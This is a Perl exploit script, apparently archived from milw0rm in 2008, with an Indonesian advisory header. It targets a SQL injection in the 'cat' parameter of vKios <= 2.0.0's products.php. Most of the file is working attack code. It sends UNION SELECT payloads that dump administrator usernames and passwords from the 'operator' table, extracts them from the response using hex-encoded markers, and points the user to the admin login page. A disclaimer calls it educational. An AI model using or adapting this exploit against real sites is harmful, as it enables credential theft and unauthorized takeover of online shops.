#!/usr/bin/perl
#
# Indonesian Newhack Security Advisory
# ------------------------------------
# vKios <= 2.0.0 (products.php cat) Remote SQL Injection Exploit
# Waktu : Feb 8 2008 10:00PM
# Software : vKios
# Versi : <= 2.0.0
# Vendor : http://www.vkios.com/
#
# ------------------------------------
# Audit Oleh : NTOS-Team
# Lokasi : Indonesia | http://newhack.org
# Penjelasan :
#
# vKios adalah aplikasi CMS untuk membangun website toko online dalam sekejap
# variabel "cat" pada berkas "products.php" tidak tersaring dengan sempurna
# sehingga pengunjung site dapat memanipulasi pernyataan SQL melalui URL secara Remote
# Contoh ;
# http://site.korban/products.php?cat=[SQLI]
#
# -------------------------------------
# Exploit ini dibuat untuk pembelajaran, pengetesan dan pembuktian dari apa yang kami pelajari,
# Indonesian Newhack Technology tidak bertanggung jawab akan kerusakan
# yang diakibatkan dari penyalahgunaan exploit oleh pihak lain
#
# => NTOS-Team->[fl3xu5,k1tk4t,opt1lc]
#
use LWP::UserAgent;
use Getopt::Long;
if(!$ARGV[2])
{
print "\n |-------------------------------------------------------|";
print "\n | Indonesian Newhack Technology |";
print "\n |-------------------------------------------------------|";
print "\n | vKios (products.php cat) Remote SQL Injection Exploit |";
print "\n | Coded by NTOS-Team |";
print "\n |-------------------------------------------------------|";
print "\n[!] ";
print "\n[!] Penggunaan : perl vkios.pl [Site] [Path] [Option]";
print "\n[!] [Option] 2 = versi > 1.3 | 1 = versi < 1.3 ";
print "\n[!] Contoh : perl vkios.pl localhost /vkios/ -o 1";
print "\n[!] ";
print "\n";
exit;
}
$site = $ARGV[0]; # Site Target
$path = $ARGV[1]; # Path direktori vKios
%options = ();
GetOptions(\%options, "o=i",);
if($options{"o"} && $options{"o"} == 1) { $injek = "http://".$site.$path."products.php?cat=-1%20union%20select%201,concat(0x74346d7520,username,0x3a,password,0x2067656c3470),3,4,5,6,7,8,9%20from%20operator"; }
if($options{"o"} && $options{"o"} == 2) { $injek = "http://".$site.$path."products.php?cat=-1%20union%20select%201,concat(0x74346d7520,username,0x3a,password,0x2067656c3470),3,4,5,6,7,8,9,10%20from%20operator"; }
$www = new LWP::UserAgent;
$sql = $injek;
print "\n\n [Konek] Injeksi SQL \n";
$res = $www -> get($sql) or err();
$res -> content() =~ /t4mu (.*?) gel4p/ or err();
print "\n [Info.] username:password";
print "\n [Hasil] $1 \n";
print "\n [Login] http://".$site.$path."admin/ \n\n";
sub err()
{
print "\n [-] Exploit gagal :( - cari yang lain!";
exit();
}
# milw0rm.com [2008-02-12]
